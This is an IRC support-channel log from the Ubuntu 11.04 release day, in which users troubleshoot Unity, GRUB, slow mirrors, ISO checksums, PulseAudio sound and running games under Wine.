[19:41] <Lunar_Lamp> I've just upgraded to 11.04 and am now using unity.  How do I set the default screen in a 2-monitor setup? The vertical menu bar is appearing on the left side of the right screen (i.e. in the middle of the two monitors)
[19:41] <arand> Psychobudgie: No.
[19:42] <srsbiz> Oh my gawd. Nevermind me. Not upgrading lol.
[19:42] <Omega> srsbiz: o+1 aka 12.04 is LTS
[19:42] <Ziber> michaelschmid: Hm?
[19:42] <rcmaehl> theintrepid1: rmmod the device then modprobe it
[19:42] <alessio_alex> Hello
[19:42] <escott> Psychobudgie, hard to say i feel like im over the hump and its starting to all seem normal. perhaps the workspace switcher not closing when you click on a workspace
[19:42] <michaelschmid> ziber, click onto your user and then at the bottom you can choose
[19:42] <Ziber> michaelschmid: hm, alright
[19:42] <alessio_alex> I've hidden my bottom panels, but now I don't know how to set "always show"
[19:42] <alessio_alex> Help?
[19:42] <OchoZero9> thanks escott, but I think 18gb is excessive how do I know what I have there that's un necessary?
[19:42] <liquidguide> If anyone is having a slow download the torrents are lightning fast
[19:42] <cws> Hi, i have just installed ubuntu 11.04, but i can no longer boot into my ubuntu 10.10 installation. Anyone know how to add ubuntu 10.10 to grub again? http://paste.ubuntu.com/600388/
[19:43] <escott> Leo, will any rsa key work? could you generate with gpg or ssh
[19:43] <lcb> It was a nice ride. Thanks to all at #ubuntu*
[19:44] <arand> cws: According to that, it does seem to be added...
[19:44] <escott> OchoZero9, you could uninstall stuff you don't need or remove stuff like old kernels 18gb is high but if you installed a lot of stuff
[19:44] <BitOperator> man the mirrors are bogged down
[19:44] <BitOperator> im getting 15.6K
[19:44] <michaelschmid> how to force nautilus reinstall? (on shell)
[19:44] <OchoZero9> is there a way to see what's taking what space?
[19:45] <arand> cws: What does your grub.cfg look like?
[19:45] <arand> BitOperator: Use torrents if possible.
[19:45] <eoss> should i upgrade to the new ubuntu?
[19:45] <escott> michaelschmid, apt-get --reinstall install nautilus
[19:45] <arand> eoss: Your decision.
[19:45] <BitOperator> Yeah, I'll just wait it out. I've already got it installed was just looking to download final release ISO for archive
[19:45] <IdleOne> rcmaehl: please don't CTCP the channel like that.
[19:46] <cws> arand, i'll paste it in 1 sec
[19:46] <nandinux> bye bye
[19:46] <Pici> rcmaehl: or send notices.
[19:46] <eoss> is 10.10 still gonna get upgrades and what not?
[19:46] <rcmaehl> ok
[19:46] <rcmaehl> sorry
[19:46] <crescendo> metacity --replace
[19:46] <Pici> rcmaehl: I've already filed a bug against the website for that. There is no netbook edition anymore.
[19:46] <michaelschmid> escott, thanks!
[19:46] <rcmaehl> Pici: what?
[19:46] <arand> eoss: For 18months paste relese I think.
[19:46] <rcmaehl> WHAT!?
[19:47] <michaelschmid> is 11.04 LTS?
[19:47] <arand> michaelschmid: No
[19:47] <Jordan_U> rcmaehl: The "desktop" edition now uses Unity, which was the netbook shell.
[19:47] <IdleOne> rcmaehl: netbook and desktop have been merged, both use unity now.
[19:47] <rcmaehl> :(
[19:47] <ublunt> hey iam using ubuntu server 10.10 and need some assistance on troubleshooting my mail server it has suddenly stopped sending and recieving mail
[19:47] <cws> arand, here is my grub.cfg http://paste.ubuntu.com/600395/
[19:48] <Pici> ublunt: #ubuntu-server might be a better place to ask, #ubuntu is rather busy today due to the release.
[19:48] <Xonix> Fetching the updates fail because the server http://ubuntu.mirror.cambrium.nl return forbidden 403. Where can i get a other mirror?
[19:48] <ublunt> thanks
[19:48] <michaelschmid> hmmm.... nautilus won't start after reinstall.... any suggestions? :-)
[19:48] <giulia> hello
[19:48] <Jordan_U> cws: Do you have any kernels in Ubuntu 10.10's /boot/ ?
[19:49] <giulia> I'm trying to find out the md5 sum for the dvd image of the Ubuntu 11.04
[19:49] <giulia> any idea on where can I find it ?
[19:49] <crescendo> I've had to kill compiz during the upgrade, it was stuck in a loop -- now how do I start metacity to gain access to my windows again?
[19:49] <ceninan> upgraded to 11.04 and now I get a black screen at boot (under recovery mode I see a bit of scrolling text, then black); ATI Mobility HD3470
[19:49] <vandamsel> my installation of 11.04 has hung at "could not find module nvidia_current" after all them painfully slow updates :p
[19:49] <tdn> I have just downloaded ubuntu desktop iso. I created a bootable USB with it. However, when booting it, I get error: ubentry1: file not found
[19:49] <cws> Jordan_U, no
[19:49] <Leo> escott: Probably, though I'm not sure what key length etc. I need. Apparently I can also just try using a PSK password rather than an RSA key. But I was hoping I would be able to get a basic ipsec connection up  as a test before I had to start worrying about crypto settings. :(
[19:49] <Pici> giulia: http://cdimage.ubuntu.com/releases/natty/release/MD5SUMS
[19:49] <tdn> How do I fix this?
[19:49] <traskers> Is there a way to easily organise the items in the Unity launcher? (I'm using 2D, if that makes a difference)
[19:50] <giulia> thanks :)
[19:50] <nutsfornatty> traskers: click and hold on the icons, they will float. move at will :-)
[19:50] <Jordan_U> cws: If there are no kernels then there will be no menu entries. Do you know why your Ubuntu 10.10 install has no kernels in its /boot/?
[19:50] <escott> Leo, yeah i don't know ipsec or why that would hang
[19:50] <traskers> nutsfornatty, ah, okay, thank you very much!
[19:50] <aravinda> Hi..
[19:50] <ceninan> system doesn't appear to respond to any keyboard shortcuts (that I know of)
[19:50] <cws> Jordan_U, I had my /boot on another patition
[19:50] <michaelschmid> ceninan, i had the same (or quite similar)... after trying a bit i found out, that it worked with classic view... but now my installation is boggous and natulis won't work
[19:51] <sebsebseb> vandamsel: right yeah ok
[19:51] <sebsebseb> vandamsel: if you look in additioanl drivers, does it say the driver is installed and activiated or what?
[19:51] <sebsebseb> the propritary driver
[19:51] <ceninan> michaelschmid, classic view?
[19:51] <jumpa> Hello. I've just updated to ubuntu 11.04. But the menus of firefox and thunderbird aren't displayed in the indicator-appmenu. I think it's related to the bug https://bugs.launchpad.net/ubuntu/natty/+source/firefox/+bug/637827, which has been marked as fixed. Neither removing thunderbird-globalmenu nor reinstalling it helped. Any hint?
[19:51] <aravinda> I'm using ubuntu 10.10 and i have a issue with sounds..
[19:51] <ubottu> Ubuntu bug 637827 in firefox (Ubuntu Natty) "FFE: Firefox and Thunderbird (XUL) menus don't appear in the global menu bar" [High,Fix released]
[19:51] <Jordan_U> cws: Does that partition still exist? Are you still using it as the /boot/ for Ubuntu 10.10?
[19:51] <michaelschmid> on login
[19:51] <tdn> What should the md5sum of the desktop iso be?
[19:51] <ceninan> I can't login
[19:51] <michaelschmid> you use gnome instead of unity
[19:51] <sebsebseb> !md5sum | tdn
[19:51] <ubottu> tdn: To verify your Ubuntu ISO image (or other files for which an MD5 checksum is provided), see http://help.ubuntu.com/community/HowToMD5SUM or http://www.linuxquestions.org/linux/answers/LQ_ISO/Checking_the_md5sum_in_Windows
[19:51] <tdn> 8b1085bed498b82ef1485ef19074c281?
[19:51] <sebsebseb> !hashes | tdn
[19:51] <ubottu> tdn: See https://help.ubuntu.com/community/UbuntuHashes for the md5sums of Ubuntu discs.
[19:51] <IdleOne> !hashes | tdn
[19:51] <ceninan> the system locks before I can interact with it
[19:51] <michaelschmid> ceninan, you don't even have login?
[19:52] <ceninan> nope
[19:52] <cws> Jordan_U, no i installed the new /boot onto that patition... Was that wrong?
[19:52] <michaelschmid> :-(
[19:52] <sebsebseb> cws: Unity?
[19:52] <IdleOne> tdn: compare against the hash on the above link
[19:52] <Jordan_U> cws: Yes.
[19:52] <cws> sebsebseb, Yes i use Unity.. Why?
[19:52] <tdn> sebsebseb, what page does not have the hashes for 11.04
[19:52] <vandamsel> sebsebseb: ah speak of the devil. its started working after hanging there >1 hour
[19:52] <Jordan_U> cws: Why do you have a separate /boot/ partition in the first place?
[19:52] <michaelschmid> maybe you can do something over ssh? from another machine?
[19:52] <tdn> IdleOne, unfortuneately not :(
[19:52] <sebsebseb> cws: ok I think I know why
[19:53] <IdleOne> tdn: https://help.ubuntu.com/community/UbuntuHashes this one
[19:53] <sebsebseb> vandamsel: right, but I think you got a issue with teh propritary driver?
[19:53] <ceninan> michaelschmid, perhaps; may as well salvage the pieces and reinstall if there is no known/easy solution
[19:53] <cws> Jordan_U, because i thought that it was the way to do it :-(
[19:53] <sebsebseb> vandamsel: Unity was froozen?  like cws
[19:53] <tdn> IdleOne, I know, it only has old hashes.
[19:53] <IdleOne> tdn: hmm you are right.
[19:53] <tdn> IdleOne, not the new ones.
[19:53] <aravinda> error message gives when i click "sounds " from preferences saying that "waiting for sound system to respond" and i can't open system sounds control center...how to resolve this problem..can some one help me
[19:53] <IdleOne> tdn: let me search a little
[19:53] <coolman> hello
[19:53] <nutsfornatty> the new ati driver is working nicely for me (full unity, lower system temps)
[19:53] <hobbsc> anyone have trouble with icons not showing up in the launcher?  neither gvim nor tasque have icons when i open them
[19:53] <cws> sebsebseb, my Unity works fine
[19:54] <rcmaehl> ops, may I ask a somewhat offtopic question?
[19:54] <Jordan_U> cws: Separate /boot partitions are only needed in specific circumstances.
[19:54] <vandamsel> sebsebseb: its just booting for the first time now. ill install the additional drivers and see if i have any issues :)
[19:54] <LAcan_> rcmaehl, just ask
[19:54] <Jordan_U> !ot | rcmaehl
[19:54] <ubottu> rcmaehl: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[19:54] <nutsfornatty> i think some apps dont have launcher icons yet?
[19:54] <coolman> for some reason, the upgrade to 11.04 just stopped downloading and i had to redo it!
[19:54] <sebsebseb> vandamsel: uhmm was Unity froozen, for an hour or so on your desktop?
[19:54] <Pici> LAcan_: No, We have less busy channels for that,
[19:54] <IdleOne> tdn: http://mirror.anl.gov/pub/ubuntu-iso/CDs-Ubuntu/11.04/MD5SUMS
[19:54] <Leo> escott: http://ubuntuforums.org/showthread.php?t=1441977 suggests it might be due to to a lack of randomness. But I've logged in to the console of the server and hammered on tetris for a few minutes, and still the thing doesn't seem to make any progress. So either the 10.10 openswan package is bugged or I don'k know enoguh about keeping /dev/random full.
[19:55] <LAcan_> Pici, but like.. how do we even know its actually offtopic?
[19:55] <cws> Jordan_U: ok, do you know if i can recover my ubuntu 10.10 system?
[19:55] <DoeNietWil> anyone else has the problem that some windows turn white?
[19:55] <Jordan_U> cws: You can.
[19:55] <tdn> IdleOne, it seems right.
[19:55] <IdleOne> LAcan: by his stating it was
[19:55] <eiriksvin> anyone know how to put the launcher bar at the bottom on Natty?
[19:55] <fritsch> Anyone else has a problem with xhci_hcd timeout and mouse / keyboard stop working with the natty kernel?
[19:55] <escott> Leo, if its a really big key it might require a lot of randomness, and if the server is misconfigured in some way it may not be accepting enough sources of entropy
[19:55] <tdn> IdleOne, when I boot it from a USB it gives me the error: ubnentry1: file not found
[19:55] <rcmaehl> It's a question about if people want to play a game while updating to 11.04
[19:55] <vandamsel> sebsebseb: the actual installation hung on the same output for over an hour, nothing appeared to be downloading so i dunno why it took so long.
[19:55] <tdn> What to do?
[19:55] <Jordan_U> cws: Chroot into your install, remove the /boot/ partition from /etc/fstab, and re-install your kernel packages.
[19:55] <nutsfornatty> eiriksvin, laucher cannot be moved atm, yes i know that sucks a bit
[19:56] <Pici> LAcan_: Because he said it was an offtopic question.
[19:56] <werever> Hi escott, hows going your day?
[19:56] <escott> Leo, cat /proc/sys/kernel/random/entropy_avail
[19:56] <sebsebseb> vandamsel: oh ok, not Unity being froozen then
[19:56] <syntheticLife> hey is it taking anyone else like 9 hours for updates to download?
[19:56] <escott> werever, good you?
[19:56] <sebsebseb> syntheticLife: sounds like the repos are slow since it's release day
[19:56] <sebsebseb> !slow | syntheticLife
[19:56] <ubottu> syntheticLife: The Ubuntu repositories and ISO mirrors are currently under heavy load. Please consider using !torrents to download ISO images, and be patient with APT updates.  Also, try changing !mirrors
[19:56] <nutsfornatty> servers getting hammered
[19:56] <aravinda> i use ubuntu 10.10...error message gives when i click "sounds " from preferences saying that "waiting for sound system to respond" and i can't open system sounds control center...how to resolve this problem..can some one help me
[19:56] <werever> nice, now working only with linux and all is ok
[19:56] <IdleOne> tdn: make a new USB install.
[19:56] <coolman> syntheticlife:yea but mine said "1 Day and 14 hrs. remaining"!
[19:56] <Leo> escott: seems likely.
[19:56] <sebsebseb> !slow | coolman
[19:56] <ubottu> coolman: The Ubuntu repositories and ISO mirrors are currently under heavy load. Please consider using !torrents to download ISO images, and be patient with APT updates.  Also, try changing !mirrors
[19:56] <tdn> IdleOne, I just did. Same thing.
[19:57] <tdn> IdleOne, I have verified that the md5sum is correct.
[19:57] <IdleOne> tdn: not sure how to help you sorry.
[19:57] <syntheticLife> if i torrent can i still do upgrade instead of a new install?
[19:57] <nutsfornatty> i waited 9minutes for a 1mb file. thats release day for you
[19:57] <Leo> escott: sudo cat  /proc/sys/kernel/random/entropy_avail gives me 135
[19:57] <sebsebseb> syntheticLife: no you don't upgrade using a torrent, you can get the ISO from a torrent
[19:57] <IdleOne> tdn: someone else might know. state your issue again.
[19:57] <coolman> sebsebseb: what does that mean
[19:57] <phoque_uni> syntheticLife, you need to download the alternative ISO
[19:57] <phoque_uni> burn it or mount it
[19:57] <cws> Jordan_U: isn't there a simpler way? With a ubuntu 10.10 live cd for example?
[19:57] <sebsebseb> coolman: what does what mean?
[19:57] <phoque_uni> and upgrade from that
[19:57] <nutsfornatty> torrent iso -> burn iso to DVD or usb key -> install as either upgrade or clean install
[19:58] <eiriksvin> nutsfornatty> yeah they give a bunch of options with that downloadable plugin, but why wouldnt they just give an option of where to put that monstrosity
[19:58] <phoque_uni> it'll ask you to download updates while upgrading
[19:58] <coolman> the !slow thing
[19:58] <phoque_uni> don't do that, they're 900 MBytes in size
[19:58] <shane4ubuntu> finally got my iso downloaded (via torrent on my slow dsl), going to re-install  have fun you people with slow upgrades. ;)
[19:58] <sebsebseb> syntheticLife: and  with 11.04 you can upgrade  your 10.10 install to 11.04 it seems using the ISO
[19:58] <phoque_uni> :-)
[19:58] <werever> escott, nice, now working only with linux and all is ok,  I am trying to update my 10.10 to 11.04 but update manager ask me to insert 10.10 into a cdrom ¿is mandatory this step?, I have 10.10 only in a flash memory, I dont burn cds never
[19:58] <syntheticLife> okay thanks sebsebseb
[19:58] <sebsebseb> syntheticLife: well CD I should say once you got the contents of the ISO burnt to it
[19:58] <Leo> escott: The openswan book suggests that OpenSWAN does a 2192-bit RSA key by default.
[19:58] <escott> Leo, lol now you have to figure out what units that is
[19:59] <escott> werever, shouldn't be. its not the best day to do it... the servers are being hammered
[19:59] <tdn> When I boot the 11.04 iso from a USB it gives me the error: ubnentry1: file not found. How do I fix this? I have verified that the md5sum is correct.
[19:59] <nutsfornatty> eiriksvin, do trust. we had a big conversation about the lack of unity customization atm. im sure someone will create a way to move the launcher within a month (hacked or official)
[19:59] <sebsebseb> coolman: on releae day,  many Ubuntu fans download the new release, as a result,  the servers  tend to get slow, be that for the ISO's,  or the repos/resporitories for Ubuntu
[19:59] <werever> escott, I understand
[19:59] <syntheticLife> durn, was waiting till my exams were done to install, now i have to wait longer!
[19:59] <jo-erlend> tdn, #Ubuntu+1 is probably better for that question.
[20:00] <sebsebseb> tdn: jo-erlend #ubuntu+1 is closed for now, this is 11.04 now as well
[20:00] <IdleOne> jo-erlend: nope this is the correct channe;
[20:00] <escott> jo-erlend, +1 is closed now
[20:00] <jo-erlend> oh. Sorry.
[20:00] <IdleOne> channel*
[20:00] <coolman> sebsebseb: it just came out TODAY?!?!?
[20:00] <sebsebseb> coolman: yes
[20:00] <jo-erlend> oh! It's release day :)
[20:00] <sebsebseb> coolman: 11.04 got released earlier today
[20:00] <jo-erlend> I'm moving house so I had completely forgotten! That's a first...
[20:00] <proq> yeah, about 9 hours ago
[20:00] <aravinda> error message gives when i click "sounds " from preferences saying that "waiting for sound system to respond" and i can't open system sounds control center...how to resolve this problem..can some one help me
[20:00] <nutsfornatty> if you want new ubuntu quickest, always preload the beta then do the system updates to final release. too late now for that strategy to work though haha
[20:01] <coolman> sebsebseb: wow. i thought it came out on the 4th!
[20:01] <fritsch> aravinda: tried rebooting?
[20:01] <tdn> jo-erlend, 11.04 is released now.
[20:01] <sebsebseb> coolman: no, but Gnome 3 came out on the 6th of April :)
[20:01] <syntheticLife> yea I know but the alpha was available, didnt want to get distracted by it
[20:01] <aravinda> done verything
[20:01] <shane4ubuntu> jo-erlend: that happened to me with the last release, I didn't even find out till a week after! :)
[20:01] <fritsch> aravinda: could be a pulse audio issue hanging in another session
[20:01] <aravinda> i mean general stuff
[20:01] <fritsch> aravinda: pulseaudio running?
[20:01] <coolman> sebsebseb: thanks so much! *leaves*
[20:01] <escott> !final | escott
[20:01] <eiriksvin> well, how do i go to classic desktop mode until then?
[20:01] <ubottu> escott, please see my private message
[20:01] <sburjan`> too bad Unity doesn't work on VmWare :(
[20:01] <aravinda> i dnt know
[20:01] <aravinda> how to check that
[20:01] <sebsebseb> sburjan`: well not sure about VMware, but it can work with Virtualbox :)
[20:01] <jo-erlend> shane4ubuntu, yes, I've been using it for a while, so... The release isn't that important to me. But this is offtopic. Sorry.
[20:01] <proq> why? does unity use opengl?
[20:02]  * Greek_o_nikos upgrading from 10.10 to 11.04
[20:02] <eiriksvin> id there a way to use natty, but looking like Maveric?
[20:02] <nutsfornatty> eiriksvin, on the login screen. look at the bottom bar. change "ubuntu" to "ubuntu classic" and login. done
[20:02] <sebsebseb> proq: for some effects, that's why it uses Compiz
[20:02] <jo-erlend> proq, Unity uses Compiz.
[20:02] <werever> escott, I downloaded full iso final 11.04, is possible update from this iso?
[20:02] <fritsch> aravinda: press "alt F2"
[20:02] <fritsch> aravinda: and type: pulseaudio &
[20:02] <eiriksvin> will it do that for my profile only?
[20:02] <regeya> the thing to remember about Gnome 3 being released on the 6th of April is that, because different distros work differently, and because now more eyeballs will be on it, there will be some lag before distros have it as part of their stable releases :-)
[20:02] <fritsch> aravinda: after that, retry opening the sound stuff
[20:02] <sebsebseb> proq: however there's also already the Unity 2D version which you can get from a ppa, made with Qt what KDE uses, and that will probably be the default fall back for 11.10 instead of Gnome 2 with their Ubuntu specific changes
[20:02] <escott> werever, if you add its package archive to your list of apt archives you should be able to use it
[20:02] <syntheticLife> werever: apparently possible to update from iso
[20:03] <jo-erlend> werever, the desktop  cd can't be used as a local archive like the alternate cd can. It uses other techniques to install the system very quickly, but that isn't compatible with apt.
[20:03] <Leo> escott: A Google search seems to suggest that the unit is bits. Yes, that's what man random says too, I think.
[20:03] <nutsfornatty> eiriksvin, yes. i have 2 profiles 1 unity and 1 classic. the change is instant and you can easily switch back and foward
[20:03] <aravinda> fritsch: it doesnt work
[20:03] <Emasarn> I went to download Ubuntu, but i could not figure out which iso to donwload
[20:03] <regeya> I'm actually surprised at how close unity 2d is to the functionality of unity 3d
[20:03] <arand> sebsebseb: unity-2d is in main..
[20:03] <sebsebseb> arand: is it?  hmm it was a ppa
[20:03] <werever> jo-erlend: then If i want to update, I need to download alternative iso?
[20:03] <fritsch> aravinda: try "alt F2" and afterwards: pulseaudio -d
[20:03] <escott> Leo, that seems pretty low check your entropy sources
[20:04] <jo-erlend> werever, or directly from the servers?
[20:04] <shane4ubuntu> nutsfornatty: how do you switch back and forth?
[20:04] <arand> sebsebseb: Must've been early in the cycle..
[20:04] <KillaloT> I'm trying to update to 11.04 on my Eee PC 901 but it says that the upgrade will take 8 hours.... (was 11 hours about 30 minutes ago) .. I feel like the system has been running slow lately, so i think i will need a full re-install.. But how do i cancel the upgrade?
[20:04] <MrStein> apt-get package download with and without apt-p2p is slow. Is there anything that I can do ir just wait until the rush is over?
[20:04] <sebsebseb> arand: I thought it was still a ppa, but ok that's good if it's in the main repo
[20:04] <escott> Leo, I have 600
[20:04] <MrStein> ir=or
[20:04] <jo-erlend> Emasarn, if you have a PC with 2-3GB RAM, then 32bit is the best one. If you have more RAM, or expect to have more RAM in the future, you need the 64bit one.
[20:04] <aravinda> fritsch :nop
[20:04] <fritsch> aravinda: if this does not work, killing pulseaudio and restarting would be an idea.
[20:04] <somethingelse> so are people planning on actively working on unity while this release is in the wild?
[20:04] <pdebruic> any issues with broadcom 4311 wifi cards not being detected after updating from Maverick?  Mine is not detected.
[20:04] <nutsfornatty> shane4ubuntu, go to the login screen. look at the bottom bar of that screen. change "ubuntu" to "ubuntu classic" and login. repeat to switch back. very easy but easily overlooked.
[20:04] <fritsch> aravinda: run the command: pulseaudio -k
[20:04] <escott> Leo, and now i have like 100 :)
[20:05] <r000t> Hello. I'm having serious input lag issues after upgrading, but I'm not sure which package is causing the problem, thus making it difficult to report the bug. What should I do now?
[20:05] <fritsch> aravinda: afterwards pulseaudio -d
[20:05] <shane4ubuntu> MrStein: probably just wait till the rush is over. :(
[20:05] <sebsebseb> somethingelse: sure Canonical's team will still continue work on it for 11.10
[20:05] <fritsch> and retry
[20:05] <pdebruic> MrStein: check that you are access the Best Server for your area of the world
[20:05] <Monotoko> guys...if I upgrade my motherboard and CPU will ubuntu still play nicely...?
[20:05] <Monotoko> or will I need to reinstall?
[20:05] <fritsch> Monotoko: it will
[20:05] <acicula> Monotoko: it should work just fine
[20:05] <somethingelse> sebsebseb, are we going to see those improvements?  It's completely unusable right now
[20:05] <MrStein> pdebruic: with p2p I access tons of servers at same time
[20:05] <Monotoko> awesome
[20:05] <werever> jo-erlend: I tried but update manager ask me for cd rom of 10.10 version, i have this iso on my usb device, is mandarory insert 10.10 cdrom?
[20:05] <fritsch> Monotoko: you do not have to reinstall, it is not windows :-)
[20:05] <jo-erlend> somethingelse, sure. There are many improvements to be made. I expect that's why they wanted to introduce it in this release, so they have another normal release to polish before the next LTS cycle.
[20:05] <aravinda> fritsch:done
[20:05] <sebsebseb> somethingelse: the development versiosn of 11.10, will get the improvements to Unity yes
[20:05] <shane4ubuntu> nutsfornatty: ahh, ok, I thought there was an even quicker way the way you had mentioned it, thanks.
[20:05] <Monotoko> I do have Windows too...will that need a reinstall?
[20:05] <sebsebseb> shane4ubuntu: developmetn versions
[20:05] <fritsch> aravinda: does not work, or does it?
[20:05] <mkquist> KillaloT: if you going to reinstall anyway, I don't think it matters 'how' you stop it
[20:05] <sebsebseb> shane4ubuntu: it's unuseable right now, how so?
[20:05] <MrStein> pdebruic: on the other hand it is worth a try. Which tool is for the server speed check?
[20:05] <acicula> Monotoko: windows probably will need a reinstall/reactivation yeah
[20:06] <aravinda> fritsch:but problem remains
[20:06] <Monotoko> >.<
[20:06] <Emasarn> jo-erlend, I have an Intel 64, but the 64 bit version seems to only be available for amd?
[20:06] <pdebruic> yeah but that depends on those servers having a good connnection and the file.  Might also check that the default http server is best for you.
[20:06] <shane4ubuntu> sebsebseb: ??  I think you got the wrong guy! :)  How's it going though!
[20:06] <acicula> Monotoko: just try first and see what happens
[20:06] <sebsebseb> shane4ubuntu: also if you find Unity unusable or whatever, give Gnoem Shell a try ;)  the new interface for Gnome 3 the default proper one :)
[20:06] <jo-erlend> werever, no. Look in your archive settings and maybe remove it. You do have an installed system, yes?
[20:06] <fritsch> aravinda: sorry, no idea from here - did it ever work bevore?
[20:06] <Monotoko> this is one of those times I wish I didn't need to rely on Windows
[20:06] <sebsebseb> shane4ubuntu: oh yeah I did
[20:06] <aravinda> fritsch: its ok thanks
[20:06] <MrStein> Emasarn: 64 bit is for both Intel and AMD (and VIA)
[20:06] <sebsebseb> somethingelse: see above was messging wrong guy again
[20:06] <jo-erlend> Emasarn, ah. No, forget that. It works well on both.
[20:06] <r000t> Emasarn, that's because AMD made the x64 standard. It will work fine with Intel chips
[20:06] <aravinda> fritsch : it works
[20:06] <shane4ubuntu> sebsebseb: I have already previewed unity and already plan on sticking with gnome though. :)
[20:06] <nutsfornatty> unity is great but you do have to change the way you think about opening/moving/organizing your desktop apps
[20:06] <jo-erlend> Emasarn, it's just that Intel had some strange ideas back in the days.
[20:07] <Emasarn> Thank you all :)
[20:07] <somethingelse> sebsebseb, are they going to continue developing unity even after gnome 3 is done?  It seems the two have similar goals
[20:07] <[dlp]> Fuck me this place is busy.
[20:07] <pdebruic> MrStein: http://blog.hafees.com/linux/ubuntu-change-download-server-and-fix-slow-updates/
[20:07] <Monotoko> is there anything like World Of Warcraft native to Linux?
[20:07] <acicula> [dlp]: filter all the channel events and its easier to read
[20:07] <aravinda> fritsch: But when i installed skype
[20:07] <aravinda> it went wrong
[20:07] <jo-erlend> nutsfornatty, yes, you do. I got used to it very quickly though, and I'll never look back. But there are still improvements to be made.
[20:07] <nutsfornatty> give unity a full week of use (and make sure you know the keyboard shortcuts) and i think most people will be ok with it
[20:07] <escott> Monotoko, thought WoW had a linux client
[20:07] <shane4ubuntu> !language | [dlp]
[20:07] <ubottu> [dlp]: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[20:07] <werever> jo-erlend: I am not sure what do you mean with "archive settings", and yes I have ubuntu 10.10 as single OS on my lap, no partitions, no dual boot, no windows
[20:07] <acicula> Monotoko: nope, but you can run it using the wine program
[20:07] <r000t> Backspace key especially is laggy, like whole seconds between when I use it and when it decides to work
[20:07] <somethingelse> sebsebseb, just seems like a strange interface choice...I actually had to uninstall unity on a netbook last release because it was taking up all the horizontal space and causing scrollbars on all webpages
[20:07]  * [dlp] hangs his head in shame
[20:07] <Monotoko> escott..nope, they dropped it years ago
[20:07] <fritsch> aravinda: is skype currently running? could block your sound device
[20:07] <sebsebseb> somethingelse: they do,  really  Gnome Shell is the proper version since that's from upstream Gnome, but Canonical wanted to do their own interface that was originally going to be for netbooks only  so yeah 10.10, but can use that on a desktop even :)   and  then it was decided that starting with 11.04 they would make for desktops as well, instead of going with Gnome Shell by default
[20:07] <acicula> !wine | Monotoko look here,
[20:07] <ubottu> Monotoko look here,: WINE is a compatibility layer for running Windows programs on GNU/Linux - More information: https://help.ubuntu.com/community/Wine - Search the !AppDB for application compatibility ratings - Join #winehq for application help - See !virtualizers for running Windows (or another OS) inside Ubuntu
[20:07] <jo-erlend> werever, ok. I'm not sure why it'
[20:07] <aravinda> no i uninstalled it
[20:08] <NucleusDentatus> How do I get back Visual Settings tab from Appearance Properties?
[20:08] <Monotoko> acicula, I know, it doesn't run well in Wine
[20:08] <echo2> has anyone figured out how to get unity working in vmware
[20:08] <Monotoko> that;s why I need Windows
[20:08] <Emasarn> I cant wait to get rid of this windows instrall
[20:08] <kubanc> how come i cannot move program window from one monitor to another ( dual display function ). i'm usting ubuntu 10.04 and i have compiz enabled
[20:08] <fritsch> aravinda: nskype does not change any system settings concerning audio
[20:08] <sebsebseb> somethingelse: upstream Gnome, and Canonical had similar, but also differnet idea's on what they wanted for an interface, so yep both
[20:08] <jo-erlend> werever, why it'd ask for CD then. But you can configure which sources to use. It's in System > Administration > Software Sources.
[20:08] <acicula> Monotoko: WoW doesnt run in wine? it has platinum support afaik
[20:08] <shane4ubuntu> sebsebseb: is gnome shell the same as gnome desktop?
[20:08] <aravinda> skype also doesn't work
[20:08] <acicula> Monotoko:  http://appdb.winehq.org/objectManager.php?sClass=version&iId=20549 look here
[20:08] <arand> kubanc: They may be treated as different workspaces?
[20:09] <nutsfornatty> im almost sure WoW works in wine
[20:09] <echo2> has anyone figured out how to get unity working in vmware
[20:09] <sebsebseb> shane4ubuntu: Gnome Shell is the new interface for Gnome 3 :)  http://gnome3.org
[20:09] <Monotoko> acicula, it should have...it runs just very very slowly for me
[20:09] <kubanc> arand, by whom? compiz ?
[20:09] <shane4ubuntu> sebsebseb: ahh, ok
[20:09] <somethingelse> sebsebseb, so are they going to try to reconcile those?  seems like a pretty strange thing to have two different versions of the same thing floating around... I'm still not sure why they didn't just pump more manhours through docky, which appears to be more stable and usable than this unity thing is
[20:09] <aravinda> i can't remember i think i havw done something with pulseaudio
[20:09] <aravinda> *have
[20:09] <acicula> Monotoko: did you install any hardware drivers using the hardware driver tool?
[20:09] <Leo> escott: Do you know how I can check what my sources of entropy are? man random says to use  sysctl kern.random but that gets me the message "error: "kern.random" is an unknown key"
[20:09] <Monotoko> acicula, yeah...graphics drivers
[20:09] <acicula> Monotoko: what gpu do you have?
[20:09] <aravinda> fritsch :that may be the reason
[20:09] <nutsfornatty> i miss docky, unity needs proper docky like widget imo. but no point in having TWO docks (unity + docky) at the same time
[20:10] <Monotoko> acicula, ASUS 5750 or something I think
[20:10] <sebsebseb> shane4ubuntu: Unity is currenlty on top of Gnome 2 in 11.04, but will be on top of Gnome 3 for 11.10  whilst being used instead of Gnome Shell by default.  and with 11.10 people should be able to install the uhmm 100% proper Gnome 3 expereince from the repo's no problem.  where as with 11.04 Gnome 3 is an optional ppa, which lacks a few things
[20:10] <[dlp]> I've lost my hardware graphics support.
[20:10] <Monotoko> 1GB cache memory
[20:10] <Monotoko> cost me about £60 last year
[20:10] <acicula>  Monotoko hmm that should be able to run it just fine
[20:10] <arand> kubanc: Oh, I misread the version.. Hmm, I don't know I'm afraid..
[20:10] <skulltip> backintime is very cool, hope i wont have to learn how to restore from it with the upgrade 99
[20:10] <jo-erlend> somethingelse, you're arguing about shells? They'll all be available in 11.10. It's not possible to provide gnome shell yet, for purely technical reasons, but we'll get there. And they'll have different strengths.
[20:10] <Monotoko> acicula, it's perfect in Windows...runs like a beast
[20:10] <[dlp]> And encfs doesn't work properly (but then it never did). My hacks have been undone.
[20:10] <macross> wow
[20:10] <Monotoko> its just it seems to have a problem with Wine
[20:10] <macross> i must say
[20:10] <galamar> Hello, I'm having an issue with open windows opening at the very top of the screen and I can't grab the top bar to move the window because its off screen. Also the alt to grab isn't working.
[20:10] <sebsebseb> somethingelse: look t the message I just sent shane4ubuntu as well :)
[20:11] <acicula> Monotoko: idk, it may require some fiddling to get it work properly, check the winehq thread/ubuntu forums, pretty sure there are a fair few wow users in the ubuntu community
[20:11] <macross> great job on 11 ...if they meant to destroy anything good about the window manager
[20:11] <macross> awesome job!
[20:11] <sebsebseb> macross: heh
[20:11] <shane4ubuntu> sebsebseb: right I was playing with gnome3 a little in my little spare time, but didn't get far, thanks for the info.
